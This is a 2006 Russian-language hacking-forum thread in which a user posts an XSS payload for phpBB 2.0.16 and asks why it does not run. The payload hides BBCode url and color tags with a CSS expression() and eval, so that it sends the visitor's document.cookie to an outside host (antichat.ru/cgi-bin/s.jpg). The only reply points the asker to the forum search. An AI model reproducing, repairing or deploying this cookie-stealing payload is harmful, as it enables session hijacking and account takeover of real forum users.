Форумы XSS и phpbb 2.0.16

Discussion in 'Уязвимости CMS/форумов' started by TyK, 9 Jul 2006.

Thread Status:
Not open for further replies.
  1. TyK

    TyK New Member

    Joined:
    6 Jul 2006
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    немагу воспользоваться этим xss
    [*color=#EFEFEF][*url]www.ut[*url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(th is.sss));'sss=`i=new/**/Image();i.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]
    Теги все редактирую... убираю знаки *. Непонимаю что надо ввести тут
    [*url]www.ut[*url=www.s=
    при посылки всей этоя лябады (есстественно проверял у на себе))) - ничего не выходит... Выполняется только команда изменить цвет! на никакого внимания не обращает((( помогите...
     
  2. qBiN

    qBiN Вот такой вот я :(

    Joined:
    20 Jan 2005
    Messages:
    834
    Likes Received:
    73
    Reputations:
    33
    Поиск,очень много раз обсуждалось.
     
Thread Status:
Not open for further replies.